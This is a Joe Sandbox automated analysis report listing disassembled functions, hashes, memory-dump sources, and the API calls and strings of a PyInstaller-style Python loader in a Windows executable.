Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: dedb7368a5025a6db4c09e0c086cfae2487edcd9505ecef04e7b07440d47bc08
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: C1B16D7290878585EF698F39C85A23C3BA0F749B68F284136CE4E87395CF39D861D746

Function 00007FF62C10E570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: a1f0538c87385d5a3ccd49334a22254e227ceceb8cc08856bd6cdb1b82465e09
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: 6681D572A287C186DF74CB1AA84A36A7A91FF457A4F144235DECD83B85DF3DE4208B01

Function 00007FF62C116418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 403f67b08c5d8b9127b9d27d37b93e2a1e0a746a19683c5483168a42cc689f1f
Instruction ID: 6d47eba98126159dd247e6d7a1b8a5d06b750ec52ceeca0887f59b8091e264d3
Opcode Fuzzy Hash: 403f67b08c5d8b9127b9d27d37b93e2a1e0a746a19683c5483168a42cc689f1f
Instruction Fuzzy Hash: 9061F962F0C25286FF648A7D9C5A67D6680EF60770F154239EA1DC3AC5DEBEE801C702

Function 00007FF62C101D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 4596cb38f031299149c596fc621237d67e01ed7832022c0e3c4e50bed2b403d2
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 89515C76A1865186EF258B29C84936837A0EB45B78F344231DE8D97794CF3EE863C741

Function 00007FF62C101944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 1270566e25e6fb9a1bb0bc05910d820be7cd9c0cca65480d1beebaab8cf5578d
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 3C516437A18A5586EB248B29C84A33837A1EB44B78F344131DE8D97794DF3EE863C741

Function 00007FF62C102164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 4fa54c7cf8162e31db862b354778c96af3ab7a1f8942fdb138f0b1e27bbbb828
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 41518476A1865186EF688B29C84923833A1FB59F78F248135CE4D87795CF3AE863C741

Function 00007FF62C101740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: f19fc4eb43d1a7c6dfd07b5a8e8ab037d6e53c1e9e06c0734bcd8909ca2694ad
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 7A518136A1865186EB248B29CC4937837A1FB45B68F344132CE4D97795CF3EE963C781

Function 00007FF62C101F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 0ce87441aa9b2014a0f0f695a000801920b82817bd3c2301322ae55905f6f488
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 2351A336A1865586EB288B29C84933C37A1EB45F68F344131CE4D977A9CF3EE863C741

Function 00007FF62C101B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: 0c4aceff7cae9c0013862171d740a763f3f8041f6f25bc5476a8838f7d9b78bc
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: DB518E36A18A5186EF248B29CC4933827B1EB49B68F345131DE4C977A4DF3EE862C741

Function 00007FF62C105D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 8ea92525a263b1db0908177b6252147d1c6a62b15f60fb5f873dcf555c2ab54b
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 5F41A462C0D74F05EDA9891C0D0D6B46B809F22BB0D5852B5DDDD973D3CD0DA9A7C306

Function 00007FF62C109EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: 85065961ca6842084c6a6e89fa5094fa95e95bfc959d812abd0e139f74d10c82
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: 6B41F372714A9582EF04CF2ADD29569B3A1FB48FE0B499036EE0DD7B58DE3DD0528301

Function 00007FF62C1080E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: b74417f5ffbc910213f8f9b181f86c3f983cd52cc70160d8495f6f535e5ba554
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: E331D232B1CB4241EB649F256C4612E6AD5AF85BF0F144238EE8D93BD6DF3CD4228705

Function 00007FF62C119570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: e54fc405fd0f07fcca0deaf936fce5a97b3c38da835a626a34466b2d1661bca8
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 8AF04F71B182968ADFA88F69A80766977D0F748394F80C039E68DC7A04DE3C90628F09

Function 00007FF62C0FD30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: 5681c4e14ccc662efa7a78ca8a7469310bc7ca3d48011da64a06dba1b93a3a78
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: 40A00261D0CD0AD4EE448F08EC950352330FB68321B800031E90DD10B09FBDB448E306

Function 00007FF62C0F5830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5840
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5852
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5889
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F589B
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58B4
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58C6
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58DF
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58F1
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F590D
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F591F
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F593B
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F594D
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5969
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F597B
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5997
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F59A9
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F59C5
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F59D7

Strings

PyObject_SetAttrString, xrefs: 00007FF62C0F5D81, 00007FF62C0F5DA3
PySys_GetObject, xrefs: 00007FF62C0F5E67, 00007FF62C0F5E89
PyObject_CallFunctionObjArgs, xrefs: 00007FF62C0F5D25, 00007FF62C0F5D47
PyUnicode_DecodeFSDefault, xrefs: 00007FF62C0F5F1F, 00007FF62C0F5F41
PyConfig_InitIsolatedConfig, xrefs: 00007FF62C0F59BB, 00007FF62C0F59DD
Py_PreInitialize, xrefs: 00007FF62C0F595F, 00007FF62C0F5981
PyUnicode_AsUTF8, xrefs: 00007FF62C0F5EC3, 00007FF62C0F5EE5
Py_IsInitialized, xrefs: 00007FF62C0F5931, 00007FF62C0F5953
PyConfig_Clear, xrefs: 00007FF62C0F598D, 00007FF62C0F59AF
PyUnicode_FromString, xrefs: 00007FF62C0F5F7B, 00007FF62C0F5F9D
PyMarshal_ReadObjectFromString, xrefs: 00007FF62C0F5C6D, 00007FF62C0F5C8F
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF62C0F5DDD, 00007FF62C0F5DFF
PyErr_NormalizeException, xrefs: 00007FF62C0F5AFD, 00007FF62C0F5B1F
PyStatus_Exception, xrefs: 00007FF62C0F5E39, 00007FF62C0F5E5B
PyUnicode_Replace, xrefs: 00007FF62C0F5FD7, 00007FF62C0F5FF9
PyConfig_SetBytesString, xrefs: 00007FF62C0F5A17, 00007FF62C0F5A39
PyUnicode_Join, xrefs: 00007FF62C0F5FA9, 00007FF62C0F5FCB
PyConfig_SetWideStringList, xrefs: 00007FF62C0F5A73, 00007FF62C0F5A95
PyModule_GetDict, xrefs: 00007FF62C0F5CC9, 00007FF62C0F5CEB
PyMem_RawFree, xrefs: 00007FF62C0F5C9B, 00007FF62C0F5CBD
PyImport_ImportModule, xrefs: 00007FF62C0F5C3F, 00007FF62C0F5C61
Py_Finalize, xrefs: 00007FF62C0F58D5, 00007FF62C0F58F7
Py_DecRef, xrefs: 00007FF62C0F5836, 00007FF62C0F5858
PyConfig_SetString, xrefs: 00007FF62C0F5A45, 00007FF62C0F5A67
PySys_SetObject, xrefs: 00007FF62C0F5E95, 00007FF62C0F5EB7
PyConfig_Read, xrefs: 00007FF62C0F59E9, 00007FF62C0F5A0B
PyImport_ExecCodeModule, xrefs: 00007FF62C0F5C11, 00007FF62C0F5C33
PyObject_GetAttrString, xrefs: 00007FF62C0F5D53, 00007FF62C0F5D75
Py_InitializeFromConfig, xrefs: 00007FF62C0F5903, 00007FF62C0F5925
PyImport_AddModule, xrefs: 00007FF62C0F5BE3, 00007FF62C0F5C05
PyErr_Restore, xrefs: 00007FF62C0F5B87, 00007FF62C0F5BA9
Py_DecodeLocale, xrefs: 00007FF62C0F587F, 00007FF62C0F58A1
Py_ExitStatusException, xrefs: 00007FF62C0F58AA, 00007FF62C0F58CC
PyErr_Occurred, xrefs: 00007FF62C0F5B2B, 00007FF62C0F5B4D
PyRun_SimpleStringFlags, xrefs: 00007FF62C0F5E0B, 00007FF62C0F5E2D
PyObject_Str, xrefs: 00007FF62C0F5DAF, 00007FF62C0F5DD1
PyUnicode_Decode, xrefs: 00007FF62C0F5EF1, 00007FF62C0F5F13
PyUnicode_FromFormat, xrefs: 00007FF62C0F5F4D, 00007FF62C0F5F6F
PyErr_Fetch, xrefs: 00007FF62C0F5ACF, 00007FF62C0F5AF1
Failed to get address for %hs, xrefs: 00007FF62C0F5861
PyObject_CallFunction, xrefs: 00007FF62C0F5CF7, 00007FF62C0F5D19
PyErr_Clear, xrefs: 00007FF62C0F5AA1, 00007FF62C0F5AC3
PyErr_Print, xrefs: 00007FF62C0F5B59, 00007FF62C0F5B7B
GetProcAddress, xrefs: 00007FF62C0F5868
PyEval_EvalCode, xrefs: 00007FF62C0F5BB5, 00007FF62C0F5BD7

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 6619931e63b14310192cb118969e6357bb73a3435b4290c8dd8125c1c6dcdb6d
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 3022DA6490DF0B99FE15CB5DBC6A5B823B0AF247B5F541035C81E82260FFBDB189924B

Function 00007FF62C0F81D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF62C0F86B7,?,?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F822C

Part of subcall function 00007FF62C0F2810: MessageBoxW.USER32 ref: 00007FF62C0F28EA

Strings

LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF62C0F82D9
CreateDirectory, xrefs: 00007FF62C0F837C
\, xrefs: 00007FF62C0F8261
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF62C0F8373
%.*s, xrefs: 00007FF62C0F830C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF62C0F8203
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF62C0F8240
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF62C0F829D

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: c4a4301164b462cb6397726c5f45bbea8ec773880fba7c5bfdc6f11441fe4b33
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: B951F610A2DA4288FF51EB28EC562FE2361AF957A0F544431DE0EC26D5EFBDF045834A

Function 00007FF62C0F2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF62C0F21AB
SelectObject.GDI32 ref: 00007FF62C0F21F2
DrawTextW.USER32 ref: 00007FF62C0F2215
SelectObject.GDI32 ref: 00007FF62C0F222B
ReleaseDC.USER32 ref: 00007FF62C0F223B
MoveWindow.USER32 ref: 00007FF62C0F228B
